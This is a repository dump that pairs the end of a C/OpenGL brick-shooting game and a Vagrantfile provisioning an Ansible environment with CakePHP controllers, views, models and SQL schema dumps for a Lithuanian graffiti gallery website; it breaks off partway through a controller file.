char str[] = { "points:" };
void point_table()
{
glColor3f(0, 0, 1);
glRasterPos2i(50, 450);
for (int i = 0; i < strlen(str); i++)
{
glutBitmapCharacter(GLUT_BITMAP_HELVETICA_18, str[i]);//or use GLUT_BITMAP_TIMES_ROMAN_24
}
_itoa_s(score, str2, 10);
glColor3f(1, 0, 0);
glRasterPos2i(120, 450);
for (int i = 0; i < strlen(str); i++)
{
glutBitmapCharacter(GLUT_BITMAP_HELVETICA_18, str2[i]);
}
}
void display1()
{
char str1[] = { "* The objective of this game is to shoot moving bricks on screen." };
char str2[] = { "* The position of the target can be changed by moving the mouse accordingly." };
char str3[] = { "* Each time a brick is shot the score increases by 5 points." };
char str4[] = {"* The game is played until all the bricks are dead." };
glClear(GL_COLOR_BUFFER_BIT);
glClearColor(0,0,0, 1);
glColor3f(0, 0, 1);
glRasterPos2i(10, 100);
for (int i = 0; i < strlen(str1); i++)
{
glutBitmapCharacter(GLUT_BITMAP_HELVETICA_18, str1[i]);//or use GLUT_BITMAP_TIMES_ROMAN_24
}
glRasterPos2i(10, 80);
for (int i = 0; i < strlen(str2); i++)
{
glutBitmapCharacter(GLUT_BITMAP_HELVETICA_18, str2[i]);
}
glRasterPos2i(10, 60);
for (int i = 0; i < strlen(str3); i++)
{
glutBitmapCharacter(GLUT_BITMAP_HELVETICA_18, str3[i]);
}
glRasterPos2i(10, 40);
for (int i = 0; i < strlen(str4); i++)
{
glutBitmapCharacter(GLUT_BITMAP_HELVETICA_18, str4[i]);
}
glutSwapBuffers();
}
void display()
{
glClear(GL_COLOR_BUFFER_BIT);
glClearColor(0.43, 0.77, 0.86, 1);
drawground();
drawbrick();
drawcursor();
point_table();
glutSwapBuffers();
Sleep(10);//for reducing the brick speed
}
void reshape(int x, int y)
{
glViewport(0, 0, x, y);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glOrtho(0, 640, 480, 0, 0, 1);
glMatrixMode(GL_MODELVIEW);
}
void main(int argc, char **argv)
{
int choice;
initgame();
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE);
glutInitWindowPosition(100, 100);
glutInitWindowSize(640, 480);
glutCreateWindow("brick Hunt");
glutReshapeFunc(reshape);
printf("enter your choice\n");
printf("1.descreption 2.play game 3.exit\n");
scanf_s("%d", &choice);
switch (choice)
{
case 1:glutDisplayFunc(display1);
break;
case 2:glutDisplayFunc(display);
glutIdleFunc(display);
break;
case 3:exit(0);
default:exit(0);
}
glutMouseFunc(shoot);
glutPassiveMotionFunc(setcursor);
glutMotionFunc(setcursor);
glutSetCursor(GLUT_CURSOR_NONE);
glutMainLoop();
}
|
7a0fd7378d6a1398ede0969254e69b9b3a83aebe
|
[
"C"
] | 1 |
C
|
Sameer-H-S/Projects
|
b402b7b31726d4d00fedbb4061d784625d8d5707
|
7b1f60ba95a3304f92dc84e0ef795e0bfdfddc00
|
refs/heads/master
|
<repo_name>shunneng/tidb-ansible<file_sep>/Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
# The most common configuration options are documented and commented below.
# For a complete reference, please see the online documentation at
# https://docs.vagrantup.com.
# Every Vagrant development environment requires a box. You can search for
# boxes at https://vagrantcloud.com/search.
config.vm.box_check_update = false
config.vm.box = "centos/7"
config.vm.hostname = "ansible"
config.vm.network "private_network", ip: "172.17.8.102"
config.vm.provider "virtualbox" do |vb|
vb.memory = "4096"
vb.cpus = 2
vb.name = config.vm.hostname
end
config.vm.synced_folder ".", "/vagrant", type: "rsync",
rsync__verbose: true,
rsync__auto: true,
rsync__exclude: ['.git*', 'node_modules*','*.log','*.box','Vagrantfile']
config.trigger.after :up do |t|
t.info = "rsync auto"
t.run = {inline: "vagrant rsync-auto"}
end
config.vm.provision "shell", inline: <<-SHELL
## setup tsinghua yum source
sudo sed -e "/mirrorlist/d" -e "s/#baseurl/baseurl/g" -e "s/mirror\.centos\.org/mirrors\.tuna\.tsinghua\.edu\.cn/g" -i /etc/yum.repos.d/CentOS-Base.repo
sudo yum makecache
sudo yum install -y epel-release
## install deppend's yum package
sudo yum install -y python36 python36-devel python36-pip
## setup tsinghua pip source
sudo -u vagrant mkdir /home/vagrant/.pip
cat << EOF | sudo -u vagrant tee /home/vagrant/.pip/pip.conf
[global]
timeout = 6000
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
use-mirrors = true
mirrors = https://pypi.tuna.tsinghua.edu.cn/simple
trusted-host=pypi.tuna.tsinghua.edu.cn
EOF
sudo -u vagrant python3.6 -m venv /home/vagrant/venv
echo 'source /home/vagrant/venv/bin/activate' >> /home/vagrant/.bash_profile
sudo -u vagrant /home/vagrant/venv/bin/pip install -U pywinrm ansible
SHELL
end
|
434371c98b066afde1adea5d7f1ee02725d254d1
|
[
"Ruby"
] | 1 |
Ruby
|
shunneng/tidb-ansible
|
d44cc8cd1662b54d379c0fb360378b3771df0494
|
7f9e8d72c8d938bc5f0d6c1a80571b677c4a46f0
|
refs/heads/master
|
<repo_name>Zeneo/nfq_grafiti<file_sep>/app/View/AdminCommon/admin_edit.ctp
<?php echo $this->element('admin/page_name'); ?>
<?php echo $this->element('admin/actions'); ?>
<div class='admin-form'>
<?php echo $this->Form->create(null, array('type' => 'file')); ?>
<?php echo $this->Form->inputs(array_merge($fields, array('legend' => false, 'fieldset' => false))); ?>
<?php echo $this->Form->submit(__('Update')); ?>
<?php echo $this->Form->end(); ?>
</div><file_sep>/app/Model/Menu.php
<?php
class Menu extends AppModel {
public $name = 'Menu';
public $hasMany = 'MenuItem';
public function findAllItems() {
$options = array(
'conditions' => array(
'Menu.published'=> 1
),
'recursive' => -1
);
$data = $this->find('all', $options);
return $data;
}
public function getList() {
$options = array(
'fields' => array(
'id',
'name'
),
'recursive' => -1
);
$data = $this->find('list', $options);
return $data;
}
public function getMenuItems($name = null){
if($name){
$data = $this->MenuItem->getMenuPages($name);
return $data;
}else{
return false;
}
}
}
?><file_sep>/sql/grafiti2013 10 27.sql
-- phpMyAdmin SQL Dump
-- version 3.5.1
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Oct 28, 2013 at 01:40 AM
-- Server version: 5.5.24-log
-- PHP Version: 5.3.13
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
--
-- Database: `grafiti`
--
-- --------------------------------------------------------
--
-- Table structure for table `basics`
--
CREATE TABLE IF NOT EXISTS `basics` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`site_title` varchar(30) NOT NULL,
`published` tinyint(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- Table structure for table `galleries`
--
CREATE TABLE IF NOT EXISTS `galleries` (
`id` int(30) NOT NULL AUTO_INCREMENT,
`owner_id` int(11) NOT NULL,
`name` varchar(30) NOT NULL,
`text` text NOT NULL,
`creation_date` date NOT NULL,
`published` tinyint(4) NOT NULL DEFAULT '1',
`admin_priority` int(11) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;
--
-- Dumping data for table `galleries`
--
INSERT INTO `galleries` (`id`, `owner_id`, `name`, `text`, `creation_date`, `published`, `admin_priority`) VALUES
(1, 1, '<NAME>', '', '2013-10-27', 1, 0),
(2, 1, '<NAME>', '', '2013-10-27', 1, 1);
-- --------------------------------------------------------
--
-- Table structure for table `images`
--
CREATE TABLE IF NOT EXISTS `images` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`gallery_id` int(11) NOT NULL,
`name` varchar(30) NOT NULL,
`src` text NOT NULL,
`active` tinyint(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=10 ;
--
-- Dumping data for table `images`
--
INSERT INTO `images` (`id`, `gallery_id`, `name`, `src`, `active`) VALUES
(1, 1, 'Pirmasis darbas', '1.jpg', 1),
(2, 1, 'Antrasis', '2.jpg', 1),
(3, 1, 'Visai nieko', '3.jpg', 1),
(4, 2, 'Sienos projektas', '4.jpg', 1),
(7, 1, 'asd', '1382924135.jpg', 0),
(8, 1, 'asd', '1382924188.jpg', 0),
(9, 2, '<NAME>', '1382924342.jpg', 0);
-- --------------------------------------------------------
--
-- Table structure for table `menus`
--
CREATE TABLE IF NOT EXISTS `menus` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(30) NOT NULL,
`published` tinyint(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=4 ;
--
-- Dumping data for table `menus`
--
INSERT INTO `menus` (`id`, `name`, `published`) VALUES
(1, 'topmenu', 1),
(2, 'footermenu', 1),
(3, 'user_menu', 1);
-- --------------------------------------------------------
--
-- Table structure for table `menu_items`
--
CREATE TABLE IF NOT EXISTS `menu_items` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`title` text COLLATE utf8_lithuanian_ci NOT NULL,
`menu_id` int(11) NOT NULL,
`module` varchar(30) COLLATE utf8_lithuanian_ci DEFAULT NULL,
`alias` varchar(40) COLLATE utf8_lithuanian_ci DEFAULT NULL,
`url` varchar(40) COLLATE utf8_lithuanian_ci DEFAULT NULL,
`published` tinyint(1) NOT NULL,
`active` tinyint(1) NOT NULL,
`order` int(11) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_lithuanian_ci AUTO_INCREMENT=6 ;
--
-- Dumping data for table `menu_items`
--
INSERT INTO `menu_items` (`id`, `title`, `menu_id`, `module`, `alias`, `url`, `published`, `active`, `order`) VALUES
(1, 'Pagrindinis', 1, NULL, NULL, '/', 1, 1, 1),
(2, 'Galerija', 1, 'galleries', NULL, '', 1, 1, 2),
(3, 'Apie mus', 2, 'pages', 'about-us', NULL, 1, 0, 3),
(4, 'Kontaktai', 2, 'pages', 'contacts', NULL, 1, 0, 4),
(5, '2013 <NAME>. Visos teises saugomos', 2, 'rights', NULL, '', 1, 1, 5);
-- --------------------------------------------------------
--
-- Table structure for table `users`
--
CREATE TABLE IF NOT EXISTS `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`role` varchar(20) NOT NULL DEFAULT 'user',
`username` varchar(100) DEFAULT NULL,
`password` varchar(40) NOT NULL,
`email` varchar(100) DEFAULT NULL,
`status` enum('inactive','active','blocked') NOT NULL,
`created` datetime NOT NULL,
`modified` datetime NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- Dumping data for table `users`
--
INSERT INTO `users` (`id`, `role`, `username`, `password`, `email`, `status`, `created`, `modified`) VALUES
(1, 'user', 'zee', '<PASSWORD>', '<EMAIL>', 'active', '2012-04-04 13:33:02', '2012-08-22 12:27:19');
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/app/Controller/IndexController.php
<?php
App::uses('Controller', 'Controller');
class IndexController extends AppController {
public function beforeFilter() {
$this->Auth->allow('index');
parent::beforeFilter();
}
public function index(){
$slider_images = array(
'img/uploads/1.jpg',
'img/uploads/2.jpg',
'img/uploads/3.jpg',
'img/uploads/4.jpg',
'img/uploads/5.jpg',
'img/uploads/6.jpg',
);
$this->set('slider', $slider_images);
}
}
?><file_sep>/app/View/Galleries/add_image.ctp
<?php
$html = "<div class='fog'><div class='add_image_cnt'><div class='add_image_title'>Prideti nuotrauka</div><div class='close'></div>";
if(isset($uid)){
$html = $html.$this->Form->create('Gallery', array('type' => 'file', 'url' => array('controller' => 'galleries', 'action' => 'add_image')));
if(isset($data['Gallery']['name']) && isset($errors) && !$errors['name']){
$html = $html.$this->Form->input('name', array('label' => 'Pavadinimas', 'value' => $data['Gallery']['name']));
}elseif(isset($errors) && $errors['name']){
$html = $html.$this->Form->input('name', array('label' => 'Pavadinimas', 'class'=>'err'));
}else{
$html = $html.$this->Form->input('name', array('label' => 'Pavadinimas'));
}
if(isset($data['Gallery']['gallery_id']) && isset($errors) && !$errors['name']){
$html = $html.$this->Form->input('gallery_id', array('options' => $options, 'default' => '0', 'value' => $data['Gallery']['gallery_id']));
}elseif(isset($errors) && $errors['name']){
$html = $html.$this->Form->input('gallery_id', array('options' => $options, 'default' => '0', 'class'=>'err'));
}else{
$html = $html.$this->Form->input('gallery_id', array('options' => $options, 'default' => '0'));
}
$html = $html.$this->Form->input('file', array('type' => 'file', 'accept' => 'image/*', 'label' => 'Paveiklelis (800x600)'));
$html = $html.$this->Form->end('Ikelti', array('class'=>'submit'));
}
$html =$html.'</div></div>';
if(!isset($err)){
$err = null;
}
$response = array(
'err' => $err,
'html' => $html,
'successful' => $successful,
'link' => $this->Html->url(array('controller' => 'galleries', 'action' => 'user_gallery'))
);
echo json_encode($response);
?><file_sep>/app/Controller/BasicsController.php
<?php
App::uses('Controller', 'Controller');
class BasicsController extends AppController {
var $helpers = array ('Html','Form');
}
?><file_sep>/app/View/Users/login.ctp
<?php
$response = array();
if($err){
$html=$this->Form->input('username', array('label' => '<NAME>', 'id' => 'UserUsername', 'class' => 'err', 'name'=> 'data[User][username]','value' => $data['User']['username']));
$html=$html.$this->Form->input('password', array('label' => '<PASSWORD>', 'id' => 'UserPassword', 'class' => 'err', 'name'=> 'data[User][password]', 'value' => $data['User']['password']));
$response = array(
'Auth' => 'false',
'html' => $html
);
}else{
$link = $this->Html->url(array('controller' => '/'));
$response = array(
'auth' => 'true',
'link' => $link
);
}
echo json_encode($response);
?>
<file_sep>/app/View/AdminCommon/admin_index.ctp
<?php echo $this->element('admin/page_name'); ?>
<?php echo $this->element('admin/actions'); ?>
<?php echo $this->element('admin/list'); ?><file_sep>/app/View/Index/index.ctp
<div id="slider" class="nivoSlider">
<?php
if(!empty($slider) && isset($slider)){
foreach($slider as $slide){
echo '<img src="'.$full_url.'/'.$slide.'" alt="works"/>';
}
}
?>
</div><file_sep>/sql/grafiti2013 10 23.sql
-- phpMyAdmin SQL Dump
-- version 3.5.1
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Oct 25, 2013 at 12:11 AM
-- Server version: 5.5.24-log
-- PHP Version: 5.3.13
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
--
-- Database: `grafiti`
--
-- --------------------------------------------------------
--
-- Table structure for table `basics`
--
CREATE TABLE IF NOT EXISTS `basics` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`site_title` varchar(30) NOT NULL,
`published` tinyint(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- Table structure for table `galleries`
--
CREATE TABLE IF NOT EXISTS `galleries` (
`id` int(30) NOT NULL AUTO_INCREMENT,
`name` varchar(30) NOT NULL,
`creation_date` date NOT NULL,
`published` tinyint(4) NOT NULL DEFAULT '1',
`admin_priority` int(11) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- Table structure for table `images`
--
CREATE TABLE IF NOT EXISTS `images` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`gallery_id` int(11) NOT NULL,
`name` varchar(30) NOT NULL,
`text` text NOT NULL,
`src` text NOT NULL,
`active` tinyint(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- Table structure for table `menus`
--
CREATE TABLE IF NOT EXISTS `menus` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(30) NOT NULL,
`published` tinyint(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=4 ;
--
-- Dumping data for table `menus`
--
INSERT INTO `menus` (`id`, `name`, `published`) VALUES
(1, 'topmenu', 1),
(2, 'footermenu', 1),
(3, 'user_menu', 1);
-- --------------------------------------------------------
--
-- Table structure for table `menu_items`
--
CREATE TABLE IF NOT EXISTS `menu_items` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`language` varchar(2) COLLATE utf8_lithuanian_ci NOT NULL,
`title` text COLLATE utf8_lithuanian_ci NOT NULL,
`menu_id` int(11) NOT NULL,
`module` varchar(30) COLLATE utf8_lithuanian_ci DEFAULT NULL,
`alias` varchar(40) COLLATE utf8_lithuanian_ci DEFAULT NULL,
`url` varchar(40) COLLATE utf8_lithuanian_ci DEFAULT NULL,
`published` tinyint(1) NOT NULL,
`order` int(11) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_lithuanian_ci AUTO_INCREMENT=3 ;
--
-- Dumping data for table `menu_items`
--
INSERT INTO `menu_items` (`id`, `language`, `title`, `menu_id`, `module`, `alias`, `url`, `published`, `order`) VALUES
(1, 'lt', 'Pagrindinis', 1, NULL, NULL, '/', 1, 1),
(2, 'lt', 'Galerija', 1, NULL, NULL, '/', 1, 2);
-- --------------------------------------------------------
--
-- Table structure for table `users`
--
CREATE TABLE IF NOT EXISTS `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`role` varchar(20) NOT NULL DEFAULT 'user',
`username` varchar(100) DEFAULT NULL,
`password` varchar(40) NOT NULL,
`email` varchar(100) DEFAULT NULL,
`status` enum('inactive','active','blocked') NOT NULL,
`created` datetime NOT NULL,
`modified` datetime NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- Dumping data for table `users`
--
INSERT INTO `users` (`id`, `role`, `username`, `password`, `email`, `status`, `created`, `modified`) VALUES
(1, 'user', 'zee', '<PASSWORD>', '<EMAIL>', 'active', '2012-04-04 13:33:02', '2012-08-22 12:27:19');
<file_sep>/app/Controller/MenuItemsController.php
<?php
class MenuItemsController extends AppController {
public $name = 'MenuItems';
public $humanizedName = 'Menu Items';
public function admin_index(){
$paginate = array(
'fields' => array(
'id',
'menu_id',
'title',
'Menu.name',
'module',
'alias',
'url',
'published',
'order',
),
'limit' =>10000,
'order' => 'order ASC'
);
$data=parent::_admin_index(null, array(), $paginate, array(), array(), false, -1, true);
}
public function admin_add() {
if (!empty($this->request->data)) {
}
parent::_admin_add(true);
}
public function admin_edit($id = null) {
$this->viewPath = 'MenuItems';
if (!empty($this->request->data)) {
}
parent::_admin_edit($id, true, null, 'MenuItems');
}
}
?><file_sep>/app/Controller/UsersController.php
<?php
class UsersController extends AppController {
public $name = 'Users';
// public $validate = array(
// 'username' => array(
// 'required' => array(
// 'rule' => array('notEmpty'),
// 'message' => 'A username is required'
// )
// ),
// 'password' => array(
// 'required' => array(
// 'rule' => array('notEmpty'),
// 'message' => 'A password is required'
// )
// ),
// 'role' => array(
// 'valid' => array(
// 'rule' => array('inList', array('admin', 'author')),
// 'message' => 'Please enter a valid role',
// 'allowEmpty' => false
// )
// )
// );
public function beforeFilter() {
$this->Auth->allow('login', 'logout', 'index');
if($this->Security && $this->action == 'checkjson'){
$this->Security->validatePost = false;
$this->Security->csrfCheck = false;
}
}
public function index() {
$this->redirect("/");
}
public function login() {
if (!empty($this->request->data) && $this->request->is('ajax')) {
if ($this->Auth->login()) {
$this->set('err', false);
$this->Session->write('logged', true);
} else {
$this->layout = 'ajax';
$this->set('err', true);
$this->set('data', $this->request->data);
}
}else{
$this->redirect("/");
}
}
public function admin_edit($id = null) {
if (!empty($this->request->data)) {
$this->request->data['User']['password'] = $this->Auth->password($this->request->data['User']['password']);
}
parent::_admin_edit($id);
}
public function admin_login() {
if (!empty($this->request->data)) {
if ($this->Auth->login()) {
return $this->redirect($this->Auth->redirect());
} else {
$this->__setError(__('Username or password is incorrect'));
}
}
}
public function logout() {
if($this->Auth->logout()){
$this->Session->delete('logged');
$this->redirect($this->Auth->redirect());
}
}
public function admin_logout() {
$this->redirect($this->Auth->logout());
}
}
?>
<file_sep>/app/View/Galleries/user_gallery.ctp
<div class="gallery_menu">
<?php if(!empty($gallery_menu) && isset($gallery_menu)){
foreach($gallery_menu as $action){
if($action['active']){
echo '<li>'.$this->Html->link($action['title'], array('controller' => $action['module'], 'action' => $action['action']), array('id' => $action['id'])).'</li>';
}else{
echo '<li>'.$this->Html->link($action['title'], '#', array('id' => $action['id'])).'</li>';
}
}
}?>
</div>
<div class="galleries">
<?php foreach($galleries as $gallery){
echo '<div class="gallery_cnt1"><div class="gallery_title">'.$gallery['Gallery']['name'].'</div><div class="no-float"></div><div class="gallery_folder">';
foreach($gallery['Image'] as $image){
echo '<div class="gallery_img">'.$this->Html->image('uploads/'.$gallery['Gallery']['id'].'/small/'.$image['src'], array('alt' =>$image['name'])).'</div>';
}
echo '</div></div>';
}?>
</div><file_sep>/app/Controller/TranslatesController.php
<?php
class TranslatesController extends AppController {
public function index() {
}
public function admin_index($lang = null) {
$this->loadModel('Language');
if(!empty($lang)){
$locale = $this->Language->get3LetterValue($lang);
}else{
$lang = $this->Language->getDefaultSite();
$locale = $this->Language->get3LetterValue($lang);
}
//$locale = Configure::read('Config.language');
$dir = ROOT."/app/Locale/".$locale;
if(!empty($this->request->data)){
if(isset($this->request->data['Change'])){
if($this->request->data['Change']['language']){
$this->redirect(array($this->request->data['Change']['language']));
}else{
$this->redirect($this->referer());
}
}
if(isset($this->request->data['Translate'])){
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir."/LC_MESSAGES")){
mkdir($dir."/LC_MESSAGES");
}
$this->Translate->SaveData($this->request->data);
$this->redirect($this->referer());
}
}
$langDefaultFile = ROOT."/app/Locale/".$locale."/LC_MESSAGES/default.po";
$localeDefaultFile = ROOT."/app/Locale/default.pot";
$return = $this->Translate->Compare($this->Translate->getArray($localeDefaultFile), $this->Translate->getArray($langDefaultFile));
$languageArray = $this->Translate->getLanguages();
$this->set("langFile", $langDefaultFile);
$this->set("languageArray", $languageArray);
$this->set("currentLanguage", $lang);
$this->set("array", $return);
}
}
?>
<file_sep>/app/View/Layouts/default.ctp
<!DOCTYPE html>
<html>
<head>
<?php echo $this->Html->charset(); ?>
<title>
<?php echo $basic['site_title']; ?>
</title>
<?php
echo $this->Html->meta('icon');
echo $this->Html->css(array('basic', 'main', 'slider'));
?>
</head>
<body>
<div class="container">
<div class="main">
<div class="lamp">
<div class="lamp_on"></div>
<div class="lamp_off"></div>
</div>
<div class="top">
<div class="login_cnt1">
<?php if(!$logged){ ?>
<div class="login_cnt2">
<div class="login_cnt3">
<div class="login_menu_invisible">
<div class="login_form">
<?php echo $this->Form->create('User', array('url' => array('controller' => 'users', 'action' => 'login'))); ?>
<?php echo $this->Form->input('username', array('label' => '<NAME>')); ?>
<?php echo $this->Form->input('password', array('label' => '<PASSWORD>')); ?>
<?php echo $this->Form->end(); ?>
</div>
<a class="register" href="#">Registracija</a>
<a class="login" href="#">Prisijungti</a>
<div class="no-float"></div>
</div>
</div>
<div class="login_light">
</div>
<div class="login_menu2">
<a class="register" href="#">Registracija</a>
<a class="login" href="#">Prisijungti</a>
</div>
</div>
<?php }else{ ?>
<div class="login_cnt2">
<div class="login_cnt3">
<div class="login_menu_invisible">
<?php echo $this->Html->link($user, array('controller' => 'users', 'action' => 'logout'), array('class' => 'logged'));?>
<div class="no-float"></div>
</div>
</div>
<div class="login_light">
</div>
<div class="login_menu2">
<?php echo $this->Html->link($user, array('controller' => 'users', 'action' => 'logout'), array('class' => 'logged'));?>
</div>
</div>
<?php } ?>
</div>
<div class="main_menu_cnt1">
<div class="main_menu_l"></div>
<div class="main_menu_cnt2">
<?php if(!empty($topmenu) && isset($topmenu)){ ?>
<ul class="main_menu">
<?php foreach($topmenu as $item){
if($item['MenuItem']['active']){
if($item['MenuItem']['module']){
echo '<li>'.$this->Html->link($item['MenuItem']['title'], array('controller' => $item['MenuItem']['module'], 'action' => $item['MenuItem']['alias'])).'</li>';
}elseif($item['MenuItem']['url']){
echo '<li>'.$this->Html->link($item['MenuItem']['title'], $item['MenuItem']['url']).'</li>';
}else{
echo '<li>'.$item['MenuItem']['title'].'</li>';
}
}else{
echo '<li>'.$this->Html->link($item['MenuItem']['title'], '#').'</li>';
}
}
if($logged){
echo '<li>'.$this->Html->link('Mano galerija', array('controller' => 'galleries', 'action' => 'user_gallery'), array('class' => 'logged')) .'<li>';
}
?>
</ul>
<?php } ?>
</div>
<div class="main_menu_r"></div>
</div>
</div>
<div class="content">
<?php echo $this->Session->flash(); ?>
<?php echo $this->fetch('content'); ?>
</div>
</div>
<div class="footer">
<div class="ft_l"> </div>
<div class="ft_cnt">
<?php if(!empty($footermenu) && isset($footermenu)){ ?>
<ul class="ft_menu">
<?php foreach($footermenu as $item){ ?>
<?php
if($item['MenuItem']['active']){
if(isset($item['MenuItem']['module']) && !empty($item['MenuItem']['module'])){
if($item['MenuItem']['module'] == 'rights'){
echo '<li class="rights">'.$item['MenuItem']['title'].'</li>';
}else{
echo '<li>'.$this->Html->link($item['MenuItem']['title'], '/'.$item['MenuItem']['module'].'/'.$item['MenuItem']['alias']).'</li>';
}
}
elseif($item['MenuItem']['url']!=null && isset($item['MenuItem']['url'])){
echo '<li>'.$this->Html->link($item['MenuItem']['title'], $item['MenuItem']['url']).'</li>';
}else{
echo '<li>'.$item['MenuItem']['title'].'</li>';
}
}else{
echo '<li>'.$this->Html->link($item['MenuItem']['title'], '#').'</li>';
}
?>
<?php }?>
</ul>
<?php } ?>
</div>
<div class="ft_r"> </div>
</div>
</div>
<?php
echo $this->Html->script(array('jquery', 'js','bxslider.min'));
?>
</body>
</html>
<file_sep>/app/Model/Basic.php
<?php
class Basic extends AppModel {
public $name = 'Basic';
public function findBasicOptions() {
$options = array(
'recursive' => 1
);
$data = $this->find('first', $options);
return $data;
}
public function setDefaultBasic(){
$data= array(
'Basic'=> array(
'site_title' => 'Default')
);
return $data;
}
}
?><file_sep>/app/Model/AppModel.php
<?php
App::uses('Model', 'Model');
class AppModel extends Model {
public $actsAs = array('Order');
public $uploadDir = 'img/gallery/';
public function getItem($id, $recursive = -1) {
$options['conditions'] = array(
$this->name . '.id' => $id
);
$options['recursive'] = $recursive;
$data = $this->find('first', $options);
return $data;
}
public function getAll($recursive = -1) {
$options['recursive'] = $recursive;
$data = $this->find('all', $options);
return $data;
}
public function getList() {
$options = array(
'fields' => array(
'id',
'name'
)
);
$data = $this->find('list', $options);
return $data;
}
/* Usefull functions */
public function validDate($date=null){
if($date!=null){
$now = date('Y-m-d');
$now = strtotime($now);
$date = strtotime($date);
if ($date >= $now) {
return true;
}
else {
return false;
}
}
return false;
}
public function checkDateFrom($date=null){
if($date!=null){
$now = date('Y-m-d');
$now = strtotime($now);
$date = strtotime($date);
if ($date > $now) {
return false;
}
elseif($date == $now){
return true;
}
elseif($date < $now){
return true;
}
else return false;
}
return false;
}
public function checkDateExp($date=null){
if($date!=null){
$now = date('Y-m-d');
$now = strtotime($now);
$date = strtotime($date);
if ($date < $now) {
return false;
}
elseif($date == $now){
return true;
}
elseif($date > $now){
return true;
}
else return false;
}
return false;
}
}
<file_sep>/app/Config/routes.php
<?php
Router::connect('/', array('controller' => 'index', 'action' => 'index'));
Router::connect('/:controller', array('action' => 'index'));
Router::connect('/:controller/:action/*');
//Router::connect('/:language/:controller/:action/*', array(), array('language' => '[a-z]{2}'));
//Router::connect('/:language/:controller/*', array(), array('language' => '[a-z]{2}'));
Router::connect('/admin', array('controller' => 'index', 'action' => 'index', 'prefix' => 'admin', 'admin' => true));
Router::connect("/admin/:controller", array('action' => 'index', 'prefix' => 'admin', 'admin' => true));
Router::connect("/admin/:controller/:action/*", array('prefix' => 'admin', 'admin' => true));
CakePlugin::routes();
require CAKE . 'Config' . DS . 'routes.php';
<file_sep>/app/Model/MenuItem.php
<?php
class MenuItem extends AppModel {
public $belongsTo = 'Menu';
public function getMenuPages($name = null){
$options=array(
'conditions' => array(
'Menu.name' => $name,
'Menu.published' => 1,
'MenuItem.published'=> 1
),
'order' => 'MenuItem.order ASC'
);
$options['recursive'] = 1;
$data = $this->find('all', $options);
return $data;
unset($data);
}
public function getItem($id, $recursive = -1) {
$options['conditions'] = array(
$this->name . '.id' => $id
);
$options['recursive'] = $recursive;
$data = $this->find('first', $options);
return $data;
}
}
?><file_sep>/app/Controller/AppController.php
<?php
App::uses('Controller', 'Controller');
class AppController extends Controller {
public $components = array('Auth' => array('authorize' => 'Controller'), 'Cookie', 'RequestHandler','Session');
// public $components = array('Cookie', 'RequestHandler','Session');
public $basic;
public $helpers = array('Form');
public $paginate = array(
'maxLimit' => 100000
);
public function isAuthorized($user = null) {
// Any registered user can access public functions
if (empty($this->request->params['admin'])) {
return true;
}
// Only admins can access admin functions
if (isset($this->request->params['admin'])) {
return false;
}
// Default deny
return false;
}
public function beforeFilter() {
// if ((isset($this->request->params['prefix'])) && ($this->request->params['prefix'])) {
// $this->layout = 'admin';
// }
// else
$this->Auth->allow('*');
if($this->name == 'CakeError') {
$this->layout = 'error';
